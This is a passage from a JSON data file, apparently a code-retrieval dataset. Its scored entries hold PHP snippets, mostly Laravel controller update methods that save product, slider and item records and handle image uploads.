$res['success'];\r\n\t}", "title": "" }, { "docid": "072d1df8727e8fc01d135f9b601cd0cc", "score": "0.5626336", "text": "public function update(Request $request, int $resource_id)\n {\n $data = $request->all();\n $validatedData = $request->validate([\n \"name\" => \"required\"\n ]);\n $store = self::store($data, $resource_id);\n return response()->json(['status'=> 'ok', 'data'=> $store, 'msg'=> 'listing category updated successfully']);\n }", "title": "" }, { "docid": "8576d995f0ad5fb05e24f4249f91de06", "score": "0.56251395", "text": "public function update() {\n $this->save();\n }", "title": "" }, { "docid": "fef6f84766f65b55a5b2d09f06bbe894", "score": "0.56153053", "text": "public function update(model $acl_resource, array $info) {\n\n // Update record\n return parent::_update($acl_resource, $info);\n }", "title": "" }, { "docid": "ced4b17a4ea0a670f0d46db8e5a71e1f", "score": "0.5600381", "text": "function setResource($resource);", "title": "" }, { "docid": "a67ff3295306d457a45d5bfd402b9bbf", "score": "0.55851954", "text": "public function update(Request $request, $id)\n {\n $result=Slider::find($id);\n\n $result->name=$request->name;\n $result->desc=$request->desc;\n $result->price=$request->price;\n\n if ($request->hasFile('img')) {\n $file=$request->img->store('upload', 'public');\n $result->img=$file;\n }else{\n $errors=\"File not set\";\n return redirect()->back()\n ->withInput($request->input())\n ->with(\"msgError\", $errors);\n }\n\n $result->save();\n\n if ($result) {\n return redirect('show/slider')->with('message', 'Product updated successfully!');\n }\n else{\n return redirect()->back()->withInput($request->input())\n ->with('msgError', 'Record do not update in database!');\n }\n\n }", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "aeb943a599e58a4bbe6bd7e228755660", "score": "0.55803686", "text": "public function update(Request $request, $id)\n {\n $this->validate($request,\n [\n 'title'=>'required|max:50',\n 'price'=>'required',\n 'description'=>'required|max:100'\n ,\n 'imagePath'=>'required'\n ],[\n 'required'=>'El campo :attribute es obligatorio'\n ]\n );\n $product=Product::find($id);\n $product->title = $request->input('title');\n $product->price = $request->input('price');\n $product->description = $request->input('description');\n // $product->imagePath = $request->input('imagePath');\n\n $nombreImagen = str_slug($product->title) . '.' .request()->imagePath->extension();\n // storeAs recibe dos parametros el nombre de la carpeta y el nombre del archivo\n request()->imagePath->storeAs('public', $nombreImagen);\n $product->imagePath = $nombreImagen;\n \n $product->save();\n\n return redirect()->action('Admin\\ProductsController@index');\n\n }", "title": "" }, { "docid": "b9d5c9b5a3c8b34eb93904bd4bc5dfc1", "score": "0.55740935", "text": "public function update($id, StoreSliderRequest $request)\n {\n $slider = Slider::find($id);\n $input = $request->all();\n $slider->fill($input);\n\n if(Input::file('image')){\n $file = Input::file('image');\n $filename = time().'-'.$file->getClientOriginalName();\n $directory = $slider->getPath();\n $file->move($directory, $filename);\n $slider->image = $directory.$filename;\n #ImageCompress::tinifyImage($slider->image);\n }\n\n $slider->save();\n\n return redirect()->route('admin.slider.index');\n }", "title": "" }, { "docid": "6ec0972709d8081c8584eadfdebd73e3", "score": "0.55724585", "text": "public function put($resource, array $args = [], array $options = []) {\n return $this->do('PUT', $resource, $args, $options);\n }", "title": "" }, { "docid": "720aa13d6dd5abab4700c72fc5726f2f", "score": "0.55704945", "text": "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n\n $product->product_name = $request->product_name;\n $product->product_description = $request->product_description;\n $product->product_price = $request->product_price;\n $product->condition = $request->condition;\n $product->brand_id = $request->brand_id;\n $product->state_id = $request->state_id;\n $product->area_id = $request->area_id;\n // $product->category_id = $request->category_id;\n $product->subcategory_id = $request->subcategory_id;\n\n if ($request->hasFile('product_image')) {\n\n $path = $request->product_image->store('public/uploads');\n\n $product->product_image = $request->product_image->hashNAme();\n\n }\n\n $product->save();\n\n Alert::success('Product succesfully updated!')->autoclose(4000);\n\n // flash('Product succesfully updated')->overlay();\n\n return redirect()->route('admin.products.index');\n\n\n\n }", "title": "" }, { "docid": "e186357e6cd112ce0670460eed4e4946", "score": "0.55632365", "text": "public function update(UploadImageRequest $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n if ($request->hasFile('image')) {\n $filename = $request->file('image')->getClientOriginalName();\n $type = $request->file('image')->getClientOriginalExtension();\n $url = 'products/images/' . $product->id . '/' . $filename;\n\n $image = Image::make($request->file('image'))->resize(150, 150)->encode($type);\n Storage::disk('s3')->put($url, (string)$image, 'public');\n\n $product->update([\n 'image' => $url,\n ]);\n }\n $product->update([\n 'name' => $request->name,\n 'cost' => $request->cost,\n 'category_id' => $request->category,\n 'description' => $request->description,\n 'quantity' => $request->quantity,\n ]);\n $product->save();\n return redirect()->route('admin.product-administration.show', $product->id);\n }", "title": "" }, { "docid": "0af57b3d439623d9ddfbbd2c23e24b1f", "score": "0.55599797", "text": "public function update($id, $data);", "title": "" }, { "docid": "392bdf3b4d83d7a822d671646207f552", "score": "0.55553967", "text": "public function update($request, int $id);", "title": "" }, { "docid": "39ec1d6074d8d2034e596ad13d30da68", "score": "0.55506486", "text": "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required',\n 'price' => 'required|min:1',\n 'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',\n 'quantity' => 'required|min:1',\n ]);\n\n $product = Product::find($id);\n $product->store_id = Auth::guard('store')->user()->id;\n $product->product_name = $request->get('name');\n $product->product_description = $request->get('description');\n $product->product_price = $request->get('price');\n $product->product_quantity = $request->get('quantity');\n $current_image = $product->product_image;\n $new_image = \"\";\n\n if ($request->has('subcategory')) {\n $product->subcategory_id = $request->get('subcategory');\n }\n if ($request->has('parameter')) {\n $product->product_parameter_id = $request->get('parameter');\n }\n if ($request->has('image')) {\n $new_image = $request->file('image');\n $extension = $new_image->getClientOriginalExtension();\n $filename = 'product-' . time() . '.' . $extension;\n $product->product_image = $filename;\n $new_image->storeAs('products', $filename, 'public');\n }\n $product->save();\n if (Storage::disk('public')->exists('products/' . $new_image)) {\n Storage::disk('public')->delete('products/' . $current_image);\n }\n return redirect()->route('products.index')->with('success', 'Product updated');\n }", "title": "" }, { "docid": "c6efa075535fbc725da4b180e4ec737b", "score": "0.55501103", "text": "public function update(Request $request, $id)\n {\n if ( Auth::user()->userrole != \"Admin\") {\n return abort(401, 'Access Denied');\n }\n\n $article = Product::where('id',$id)->first(); \n $article->name = request('name');\n $article->sub_title = request('sub_title');\n $article->title = request('title');\n $article->title1 = request('title1');\n $article->title2 = request('title2');\n $article->title3 = request('title3');\n $article->content1 = request('content1');\n $article->content2 = request('content2');\n $article->content3 = request('content3');\n $article->button_text = request('button_text');\n $article->button_link = request('button_link');\n $article->description = request('description');\n $article->slug = Str::slug(request('title'), '-'); \n $article->active = request('active');\n\n // Store uploaded file...\n if($request->hasFile('image')) { \n $file = $request->file('image'); \n $imageName = time().'-'.$file->getClientOriginalName();\n $request->image->storeAs('public/products', $imageName); \n $article->image = $imageName; \n }\n\n $article->save(); \n\n return redirect()->route('admin.product.index');\n }", "title": "" }, { "docid": "8333f02674e0537622e556ed30714d92", "score": "0.5541451", "text": "protected function put()\n {\n \\throw_if(!$this->request->isJson(), new RestfulException(RestfulErrorMessage::InvalidJsonHeader));\n if ($this->restfulRequest->resourceId) {\n $document = null;\n try {\n $document = $this->_get();\n } catch (\\Exception $e) {\n // ...\n }\n return \\response(\n $this->_repository->replace($document, $this->restfulRequest->resourceId, $this->request->json()->all())\n );\n }\n if ($this->payloadIsAttributeSet()) {\n return \\response(\n $this->_repository->batchReplace($this->getFindOption(), $this->request->json()->all())\n );\n }\n throw new RestfulException(RestfulErrorMessage::InvalidRequestPayload);\n }", "title": "" }, { "docid": "a4b00c57c46ebcebca149c23c5beb30a", "score": "0.55269605", "text": "public function update(Request $request, $id)\n {\n $item = Items::find($id);\n $item->fill($request->all());\n\n// if (Input::file()) {\n// $filename = $request->file('image')->store('public');\n// $path = substr($filename, 7);\n// $item->image = $path;\n// }\n\n $item->update();\n return redirect()->route('items.index');\n }", "title": "" }, { "docid": "2d0234add8ac70bdf3ff13a1dc54eddc", "score": "0.5521795", "text": "public function updateStockAction()\n {\n $this->checkAdmin();\n $inStockid = intval($this->route['id']);\n $quantity = intval($this->route['amount']);\n if ($quantity == 0)\n $this->model->deleteStockById($inStockid);\n else\n $this->model->updateStockById($inStockid, $quantity);\n }", "title": "" }, { "docid": "21ec885e595c2bf310bc026dbe22811d", "score": "0.5520187", "text": "public function update(Request $request, $id)\n {\n\n\n $contents = $request->data;\n\n if ($id === 'options') {\n\n Storage::put('options.json', json_encode($contents));\n\n }\n\n if ($id === 'templates') {\n\n Storage::put('templates.json', json_encode($contents));\n\n }\n\n if ($id === 'documentation') {\n\n Storage::put('documentation.json', json_encode($contents));\n\n }\n\n\n return response('', 200);\n }", "title": "" }, { "docid": "550e477a9a956b28304b535c2916ad5c", "score": "0.55201524", "text": "public function update(Request $request, $id)\n {\n $this->validate($request, [\n \"title\" => 'required',\n \"product_id\" => 'sometimes',\n \"button_text\" => 'sometimes',\n \"button_link\" => 'sometimes',\n \"priority\" => 'required',\n \"image\" => 'sometimes|file|image|max:3000',\n ]);\n $slider = Slider::find($id);\n $slider->title = $request->title;\n $slider->product_id = $request->product_id;\n $slider->button_text = $request->button_text;\n $slider->button_link = $request->button_link;\n $slider->priority = $request->priority;\n\n if (request()->hasFile('image')) {\n if (File::exists('storage/' . $slider->image)) {\n File::delete('storage/' . $slider->image);\n }\n\n $path = $request->file('image')->store('sliders', 'public');\n $slider->image = $path;\n }\n $slider->save();\n $sliders = Slider::all();\n session()->flash('flash_message_success', 'You have updated a slider successfully!');\n return redirect()->route('admin.sliders')\n ->with(compact('sliders'));\n\n }", "title": "" }, { "docid": "a66a502d0331860b0492d8521d8dc6fc", "score": "0.551738", "text": "public function update(Request $request, $id)\n {\n $slider = Slider::find($id);\n $data = $request->all();\n if ($request->hasFile('imagen')) {\n $data['imagen'] = $request->file('imagen')->store('slides','public');\n\n $exists = Storage::disk('sliders')->exists($slider->solo_imagen);\n if($exists)\n Storage::delete(\"/public/$slider->imagen\");\n\n }\n $slider->fill($data);\n $slider->save();\n return redirect()->route('admin.slider.index');\n\n }", "title": "" }, { "docid": "59cc7aa6a27c614e6dbea168303030cb", "score": "0.5510812", "text": "public function update(Request $request, Memory $memory)\n {\n //\n }", "title": "" }, { "docid": "b54270ca9c777eb769ba1aabcadc3d1e", "score": "0.55085415", "text": "public function update($object){\n \n }", "title": "" }, { "docid": "963320c6c8e6f19972872f0c66fe30e0", "score": "0.5508141", "text": "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('public/products');\n Storage::delete($product->image);\n }\n $product->name = $request->name;\n $product->description = $request->description;\n $product->image = $image;\n $product->price = $request->price;\n $product->additional_info = $request->additional_info;\n $product->category_id = $request->category;\n $product->subcategory_id = $request->subcategory;\n\n $product->save();\n\n return redirect()->route('product.index')->with('message', 'Successfully updated the product');\n }", "title": "" }, { "docid": "265c7e4e1d9ccb8f2d919846c5c6d0e1", "score": "0.55072427", "text": "public function update($id, $input);", "title": "" }, { "docid": "60f3ddc323c30358e47d69e943e6dbaa", "score": "0.5501432", "text": "public function update(Request $request, $id)\n {\n\n extract($this->getResourceNames());\n\n $this->authorize('EDIT_' . $permissionKey);\n\n $item = $modelPath::findOrFail($id);\n\n $this->validateEditForm($request, $item);\n\n $item->update($request->all());\n\n $this->notify($resourceMultiple . '.edited');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "f413999cfa6fd30cb481e60a58035e46", "score": "0.54997146", "text": "public function update(Request $request,$id)\n {\n $product=Product::find($id);\n $request->validate([\n \"name\"=>\"required\",\n \"category\"=>\"required\",\n \"description\"=>\"required\",\n \"price\"=>\"required|numeric\",\n \"stock\"=>\"required|numeric\",\n \"image\"=>\"required\"\n ]);\n if($request->hasFile('image')){\n $imgname=$request->image->getClientOriginalName(); \n if(Storage::exists($request->image)){\n $product->image=$imgname; \n }\n else{\n $request->image->storeAs('public',$imgname);\n $product->image=$imgname;\n }\n \n }\n $product->name=$request->name;\n $product->category_id=$request->category;\n $product->description=$request->description;\n $product->stock=$request->stock;\n $product->price=$request->price;\n $product->save();\n\n }", "title": "" }, { "docid": "8de839d3e9816fa894298a9064d231f4", "score": "0.5497475", "text": "function update($record) {\n\t\techo \"update called\";\n\t\t$this->rest->initialize(array('server' => REST_SERVER));\n\t\t$this->rest->option(CURLOPT_PORT, REST_PORT);\n\t\t$key = $record->{$this->_keyfield};\n\t\t$retrieved = $this->rest->put('/job/' . $key, $record);\n\t\t$this->load(); // because the \"database\" might have changed\n\t}", "title": "" }, { "docid": "01d7e90eb4d4834e12b31486f04ab3c2", "score": "0.5493121", "text": "public function update(Request $request)\n {\n $feature=Feature::find($request->id);\n if($request->hasFile('feature_icon')) {\n $file_name = time().'.'.$request->feature_icon->extension(); \n $path = $request->file('feature_icon')->storeAs('public/feature_icons',$file_name);\n $feature->feature_icon=$file_name;\n $Image = str_replace('/storage', '', $request->old_image);\n #Using storage\n if(Storage::exists('public/feature_icons/' . $Image)){\n $delete= Storage::delete('/public/feature_icons/' . $Image);\n }\n } \n $feature->feature_name=$request->feature_name;\n $feature->updated_at=date('Y-m-d H:m:s');\n $feature->update();\n alert::success('feature Updated Successfully');\n return redirect()->back();\n\n }", "title": "" }, { "docid": "f7f83699cca8c8d4920c525dc392587d", "score": "0.54910034", "text": "public function update(UpdateProductRequest $request, $id)\n {\n\n $data = $request->all();\n $product = Product::find($id);\n\n $path = null;\n if ($request->file('image')) {\n $path = $request->file('image')->store('public/products');\n // @unlink('storage/'. $product->image);\n $data['image'] = $path;\n }\n\n\n $product->update($data);\n\n return redirect('/product');\n }", "title": "" }, { "docid": "2160be914cd287b1f331b462c6097a00", "score": "0.54888636", "text": "public function update(Request $request, $id)\n {\n // $this->authorize('haveaccess','producto.edit');\n $datosProductos=request()->except(['_token','_method']);\n\n if ($request->hasFile('imagen')) {\n\n $producto= Producto::findOrFail($id);\n\n Storage::delete('public/'.$producto->imagen);\n\n $datosProductos['imagen']=$request->file('imagen')->store('uploads/producto','public');\n }\n\n Producto::where('id','=',$id)->update($datosProductos);\n $valores['concesionado']=Null;\n $producto= Producto::findOrFail($id);\n $producto->fill($valores);\n $producto->save();\n return view('supervisor.producto.edit',compact('producto'));\n }", "title": "" }, { "docid": "6cf2f968968fff04f96278a9288f5b34", "score": "0.54857856", "text": "public function update(Request $request, $id)\n {\n if ($this->checkRole()) {\n $product = Product::find($id);\n $product->brandName = $request->Input('brandName');\n $product->medicalName = $request->Input('medicalName');\n $product->price = $request->Input('price');\n $product->buying_price = $request->Input('buying_price');\n $product->reorder_level = $request->Input('reorder_level');\n if ($request->hasFile('image')) {\n $oldFilename = 'public/product_images/' . $product->image;\n $product->image = $this->filenameToStore($request);\n Storage::delete($oldFilename);\n }\n $product->save();\n $product->suppliers()->sync($request->suppliers);\n\n return redirect('/products')->with('success', 'Product Details Saved Successfully!');\n } else {\n return redirect()->route('home');\n }\n\n }", "title": "" }, { "docid": "57e8a233d0abf833c408dd0277ccd310", "score": "0.5483825", "text": "public function update($id)\n {\n\n //VALIDATE FIELDS\n $validator = Validator::make(request()->all(),\n [\n 'title' => 'required|max:255',\n 'slug' => 'required|max:255',\n ]);\n\n //IF INVALID\n if($validator->fails()){ \n return $this->respondInvalid('Error with validation.', $validator->errors());\n }\n\n //IF VALID\n else { \n try {\n //Update \n $data2 = [\n 'slug' => request('slug'), \n 'title' => request('title'), \n 'status' => request('status'),\n 'description' => request('description'),\n 'user_id' => Auth::user()->id, \n ];\n\n $data = [\n 'pages' => request('pages'), \n 'body' => request('body'),\n ];\n\n $resource = Article::find($id);\n //var_dump($resource);\n $tags = [];\n\n //If new tags then create and add for sync\n foreach(json_decode(request('tags')) as $tagK => $tagV){\n if(!empty($tagV->create) && $tagV->create){\n if($tag = Tag::firstOrCreate([\n 'title' => $tagV->value,\n 'slug' => str_slug($tagV->value),\n ]))\n {\n $tag->resources()->sync($id);\n $tags[] = $tag->id;\n }\n }\n else {\n $tags[] = $tagV->value;\n }\n }\n\n if($resource->update($data) && $resource->resource->update($data2) && $resource->resource->tags()->sync($tags)) \n {\n return $this->respondSuccess('Successful edit.');\n }\n }\n catch(\\Illuminate\\Database\\QueryException $e){\n $errorCode = $e->errorInfo[1];\n\n switch ($errorCode) {\n //1062 == Duplicate entry for unique MySQL\n case 1062: \n return $this->respondDuplicate('Duplicate Entry.', ['error'=>'This entry already exists.', 'message'=> $e]); \n break;\n default:\n return $this->respondError(null, ['error'=> $errorCode, 'message'=>$e]); \n break;\n }\n }\n }\n }", "title": "" }, { "docid": "69899e5cc810b430e81a78ef78bbb9aa", "score": "0.54833865", "text": "public function putAction()\n\t{\n\t\t$this->_connectionApi->put();\n\t}", "title": "" }, { "docid": "317ca96a233f05a742b57399bd2b3542", "score": "0.54833144", "text": "public function update(Request $r, $id)\n {\n $p = Product::find($id);\n $p->stock = $r->input('stock');\n $p->save();\n alert()->success('Success', 'Data successfully updated');\n return redirect()->route('emptyProduct.index');\n }", "title": "" }, { "docid": "f84f36825279804eeb3fa246acad7d33", "score": "0.5482953", "text": "public function update(Request $request, $id)\n {\n //\n $data = $request->all();\n unset($data['_token']);\n unset($data['_method']);\n unset($data['image']);\n $rs = Pr::find($id)->update($data);\n if($rs) {\n if($request->image){\n $prs = Pr::find($id);\n $image_u = $prs->media;\n $image_u = str_replace('/storage/app/', '', $image_u);\n $path = '/storage/app/'.@$request->file('image')->store('prs');\n $prs->image = $path;\n $prs->save();\n Storage::delete($image_u);\n }\n return redirect(route('prs.index'));\n }else{\n return back();\n }\n }", "title": "" }, { "docid": "a01ea56f337a0cca2a7f8b0fb86e58d0", "score": "0.54794407", "text": "public function update(Request $request, $id)\n {\n\t\t$product = Product::find($id);\n\n\t\t$this->valid($request);\n\n\t\t$field = [\n\t\t\t'uuid',\n\t\t\t'name',\n\t\t\t'price',\n\t\t\t'description',\n\t\t];\n\n\t\tif ($request->product_photo) {\n\t\t\t$request->request->add([\n\t\t\t\t'rule' => [\n\t\t\t\t\t'product_photo' =>\n\t\t\t\t \t'required|image|mimes:jpeg,png,jpg|max:2048',\n\t\t\t\t]\n\t\t\t]);\n\n\t\t\t$this->valid($request);\n\n\t\t\t$upload = $request->file('product_photo')->store('assets/img');\n\n\t\t\tif ($product->photo != '/assets/img/default.jpg') {\n\t\t\t\t@unlink(public_path().$product->photo);\n\t\t\t}\n\n\t\t\tarray_push($field, 'photo');\n\n\t\t\t$request->request->add([\n\t\t\t\t'photo' => '/'.$upload\n\t\t\t]);\n\t\t}\n\n\t\tProduct::where('id', $id)\n\t\t\t->update($request->only($field));\n\n\t\treturn redirect()->route('product.index')->with([\n\t\t\t'success' => 'Data Changed'\n\t\t]);\n }", "title": "" }, { "docid": "749485fd3edd17fca5d56cd2e62d0c66", "score": "0.547553", "text": "public function update(Request $request, $id)\n {\n $item = Item::find($id);\n\n $requestData = $request->all();\n\n if ($request->hasFile('image_url')) {\n\n $old_image = $item->image_url;\n $file = $request->file('image_url');\n $path = $this->fileUpload($file, 'items');\n $requestData['image_url'] = $path;\n File::delete(public_path() . $old_image);\n\n }\n\n $item->update($requestData);\n\n return redirect('/admin/items');\n }", "title": "" }, { "docid": "ba14e6d76f18913118873dc455ddf07e", "score": "0.547496", "text": "public function update(UpdateProductRequest $request, Product $product)\n {\n //\n try {\n $originImage= $product->image;\n $product->fill($request->except(['category', 'supplier']));\n $product->image = $originImage;\n if ($request->image) {\n $oldImage = $product->image;\n $imageEncodeBase64 = $request->image;\n $postion = strpos($imageEncodeBase64, ';');\n $ext = explode('/', substr($imageEncodeBase64, 0, $postion))[1];\n $fileName = Str::uuid() . '.' . $ext;\n $filePath = public_path('storage/product') . '/' . $fileName;\n Image::make($imageEncodeBase64)->resize(200, 240)->save($filePath);\n $product->image = \"product/$fileName\";\n $filePath = public_path('storage/'.$oldImage);\n if(file_exists($filePath)){\n unlink($filePath);\n }\n }\n $product->save();\n return response()->success(new ProductResource($product));\n } catch (\\Throwable $ex) {\n return response()->error($ex->getMessage());\n }\n }", "title": "" }, { "docid": "748d9e839dc1aa55917e22860bfd0666", "score": "0.54659873", "text": "public function update(Request $request, $id, $parent = null)\n {\n extract($this->getResourceNames());\n\n if(!is_null($parent))\n {\n $item = $modelPath::findOrFail($parent);\n $parent = $this->parentModelPath::findOrFail($id);\n } else {\n $item = $modelPath::findOrFail($id);\n }\n\n $validated = $this->resolveRequest('Update')->validated();\n\n $item->update($request->all());\n\n $this->notify($resourceMultiple . '.edited');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "47bbce92661ab4fdf29441a5eabbeea2", "score": "0.5462897", "text": "public function update(Request $request, $id)\n {\n $update = Supplier::find($id);\n $update->name = $request->name;\n $update->slug = strtolower(str_replace(' ', '-',$request->name));\n $update->email = $request->email;\n $update->phone = $request->phone;\n $update->address = $request->address;\n $update->shop_name = $request->shop_name;\n\n if ($request->hasFile('photo')) {\n $image = $request->file('photo');\n $img = time() . '.'. $image->getClientOriginalExtension();\n $location = public_path('backend/assets/images/supplier/'.$img);\n Image::make($image)->resize(300,300)->save($location);\n $update->photo = $img;\n }\n $update->save();\n toast('Supplier Information Add Successfully','success');\n return redirect()->route('index.supplier');\n }", "title": "" }, { "docid": "13060cd318eed312852c00ed17885787", "score": "0.5460793", "text": "public function update($object)\n {\n }", "title": "" }, { "docid": "f684d143c5cb5e0fd840b77e6b10f6c8", "score": "0.5460385", "text": "public function update(Request $request, $id)\n { \n $product = Product::find($id);\n $product->name = $request->name;\n $product->name = $request->name;\n $product->description = $request->description;\n $product->save();\n if($request->hasFile('image')){\n $file = $request->file('image');\n $name = time().'.jpg';\n $file->move(public_path('//images//'), $name);\n $image = Image::find($id);\n $image->path = '/images/'.$name;\n $image->save();\n return response()->json(['message'=>'Producto Modificado Satisfactoriamente', $product ,'image'=>$image,]);\n }\n return response()->json(['message'=>'Producto Modificado Satisfactoriamente', $product]);\n }", "title": "" }, { "docid": "6bbf67d9e29ef7e592b60af7e38a778c", "score": "0.54592675", "text": "public function update($resource, $attributes, $exec = false)\n {\n if (!$exec) {\n return $this->beforeUpdate($resource, $attributes);\n }\n\n return DB::transaction(function () use ($resource, $attributes) {\n $attributes = $this->updateAttributes($attributes);\n\n /** @var Model $resource */\n $resource = $this->fill($resource, $attributes, true);\n $resource->save();\n\n return $this->afterUpdate($resource, $attributes);\n });\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "a1d61f0aa122378fb9049378295f5945", "score": "0.54586715", "text": "public function update($entity)\n {\n }", "title": "" }, { "docid": "4360333bf1732261e8e76d77713982a2", "score": "0.54556817", "text": "private function updateEntity(Model\\BaseModel $entity, string $uri, string $resourceFieldKey): void {\n\t\t$tags = [];\n\t\tif ($entity instanceof Model\\TaggableInterface) {\n\t\t\t// Preserve the tags temporarily.\n\t\t\t// We'll sync them later.\n\t\t\t$tags = $entity->getTags();\n\t\t}\n\n\t\t$rawApiResponse = $this->communicator->put($uri, [], [\n\t\t\t$resourceFieldKey => $entity->export(),\n\t\t]);\n\n\t\t$newData = $rawApiResponse->getValue(sprintf('[%s]', $resourceFieldKey));\n\t\t$entity->hydrate($newData);\n\n\t\tif ($entity instanceof Model\\TaggableInterface) {\n\t\t\t// The requests (and hydration) above made us lose the tags,\n\t\t\t// since they're managed through another API.\n\t\t\t// Let's assign/de-assign tags now.\n\t\t\t$this->ensureTagsSynced($entity, $tags);\n\t\t}\n\t}", "title": "" }, { "docid": "f2d8cf4532904fd7bfbac2bd62a96a68", "score": "0.54469514", "text": "public function update(Request $request, $id)\n {\n $input = $request->all();\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required',\n ]);\n if ($request->hasFile('icon')) {\n $path = $request->icon->store('public/images');\n $input['icon'] = $path;\n }\n $block = FourBlock::find($id);\n $block->fill($input)->save();\n toastr()->success('Block has been updated successfully');\n return redirect()->route('fourblock.index');\n }", "title": "" }, { "docid": "0073ba64b443f80ace8779c23d638758", "score": "0.54424137", "text": "public function update(StorePoductRequest $request, Product $product, $id)\n {\n $updated_datas = $request->except(['_method','_token']);\n $prod_to_update = Product::where('id',$id);\n $updated = $prod_to_update->update($updated_datas);\n if($prod_to_update){\n return redirect('/admin/products')->with('status', 'A termék sikeresen frissítve!');\n }\n\n }", "title": "" }, { "docid": "7db59e65f55b9762d20b09aede45101b", "score": "0.54399514", "text": "public function update(Request $request, Product $product)\n {\n if($request['image']){\n $file = $request['image'];\n $image = $this->ImageUploader($file,'images/');\n// unlink($product->image);\n }else{\n $image = $product->image;\n }\n if($request['file']){\n $file = $request['image'];\n $val = $this->ImageUploader($file,'files/');\n// unlink($product->file);\n }else{\n $val = $product->file;\n }\n\n\n $data = $request->all();\n $product->tags()->sync($data['tag_id']);\n $data['image'] = $image;\n $data['file'] = $val;\n\n $product->update($data);\n return redirect(route('product.index'));\n }", "title": "" }, { "docid": "2b54bef0cb09abd830d8673bfdd3df4e", "score": "0.5435874", "text": "public function update(ProductRequest $request, $id)\n {\n $inputs = $request->except(['_method', '_token']);\n if ($request->hasFile('poster')) {\n $poster = $request->file('poster');\n $new_name = uniqid(mb_strimwidth($poster->getClientOriginalName(), 0, 3, '_')) . '.' . $poster->getClientOriginalExtension();\n\n $img = Image::make($poster);\n $img->insert(public_path().'/images/watermark.png', 'center');\n $img->save(public_path() . '/images/' . $new_name);\n\n File::delete('images/' . $inputs['old_poster']);\n $inputs['poster'] = $new_name;\n unset($inputs['old_poster']);\n } else {\n $inputs['poster'] = $inputs['old_poster'] ?? null;\n unset($inputs['old_poster']);\n }\n if ($inputs['available'] === 'yes') {\n $inputs['available'] = 1;\n } else {\n $inputs['available'] = 0;\n }\n $update_product = Product::find($id);\n $update_product->fill($inputs);\n if ($update_product->update()) {\n return redirect()->route('product.index')->with('status', 'Product successfully updated !!!');\n }\n }", "title": "" }, { "docid": "45006333af499b7a8ef5e992e8465995", "score": "0.54331666", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n\t\tself::storeOrUpdate($product, $request);\n\n\t\treturn redirect('/products')->with('edited', \"Product edited: $product->name\");\n }", "title": "" }, { "docid": "f71584ef2ac9d0aab6b54094e7b315c4", "score": "0.543238", "text": "public function update()\n {\n $this->executeActions(true);\n $this->saveData();\n $this->reset(); // reset pending changes\n }", "title": "" }, { "docid": "eaa583782a682873861569b9b98dc81c", "score": "0.5430323", "text": "public function updateEntity(Entity $entity);", "title": "" }, { "docid": "8fb9613a7e05f846bb10235d1d3c4c4b", "score": "0.54254407", "text": "public function update(Request $request, $id)\n {\n $validation=$request->validate([\n \"text\"=>\"required\",\n\n \n ]);\n $update=Slider::find($id);\n if (request()->hasFile(key:'img')) {\n $img=request()->file(key:'img')->hashName();\n request()->file(key:'img')->storeAs(path:'',name:$img);\n $update->img=$img;\n }\n $update->text=$request->text;\n $update->save();\n return redirect()->back();\n\n }", "title": "" }, { "docid": "9f31b47ab07ed8f7effea689ae758174", "score": "0.5420852", "text": "public function update()\n {\n $this->getDataBackend()->update();\n }", "title": "" }, { "docid": "336bb2ab11980d312dc3ebdfdf92ee79", "score": "0.5418655", "text": "public function update(Request $request, $id)\n {\n $validateData = $request->validate([\n 'al_desc'=>'required|string',\n 'tr_desc'=>'required|string',\n 'stock'=>'required',\n 'age'=>'required',\n 'pur_price'=>'required',\n 'sale_price'=>'required',\n 'image' => 'required|image|max:2048',\n ]);\n\n $article = Articles::where('id', $id)\n ->first();\n\n $image_path = public_path(\"images/{$article->image}\");\n\n if (File::exists($image_path)) {\n unlink($image_path);\n $image = $request->file('image');\n $filename = $image->getClientOriginalName();\n $image->move(public_path('images'), $filename);\n $article->image = $request->file('image')->getClientOriginalName();\n }\n\n $articleStock = $request->input('stock');\n $article->al_desc = $request->input('al_desc');\n $article->tr_desc = $request->input('tr_desc');\n $article->stock = $request->input('stock');\n $article->age=$request->input('age');\n $article->pur_price=$request->input('pur_price');\n $article->sale_price=$request->input('sale_price');\n $article->prime_stock +=$articleStock;\n $article->save();\n\n return redirect()->route('articles.index')->with('success','Article Updated Successfully');\n }", "title": "" }, { "docid": "cdb8493452b057388fcb678d2dccb96c", "score": "0.5417866", "text": "public function update($id, Request $request);", "title": "" }, { "docid": "9f4a5e931ad31bad773803c3dc4cda90", "score": "0.5416135", "text": "public function update(Request $request, $id)\n {\n if($request->hasFile('image')){\n\n $filename = $this->productImage($request->file('image'));\n \n }else{\n\n $recent = Product::findOrFail($id);\n $filename = $recent->image;\n }\n\n $product = new Product;\n Product::where('id', $id)->update($product->productData($request->toArray())+['status' => true, 'image' => $filename]);\n\n return redirect()->route('products.index')->with('success', 'product successfully updated');\n }", "title": "" }, { "docid": "daac94b3950e759691b202ac44ca7b18", "score": "0.54159683", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $product->update($request->only($this->product_fields));\n $this->move_image($product, $request->get('image'));\n }", "title": "" }, { "docid": "b55b4c2da5ca8dec48b36986ba4711ee", "score": "0.54155767", "text": "public function update(Request $request, Product $product)\n\n {\n\n $input = $request->all();\n\n\n\n $validator = Validator::make($input, [\n\n 'name' => 'required',\n\n 'price' => 'required',\n\n 'stock' => 'required',\n\n 'shortDesc' => 'required',\n\n 'description' => 'required'\n\n ]);\n\n\n\n\n\n if($validator->fails()){\n\n return $this->sendError('Validation Error.', $validator->errors());\n\n }\n\n\n\n $product->name = $input['name'];\n\n $product->price = $input['price'];\n\n $product->stock = $input['stock'];\n\n 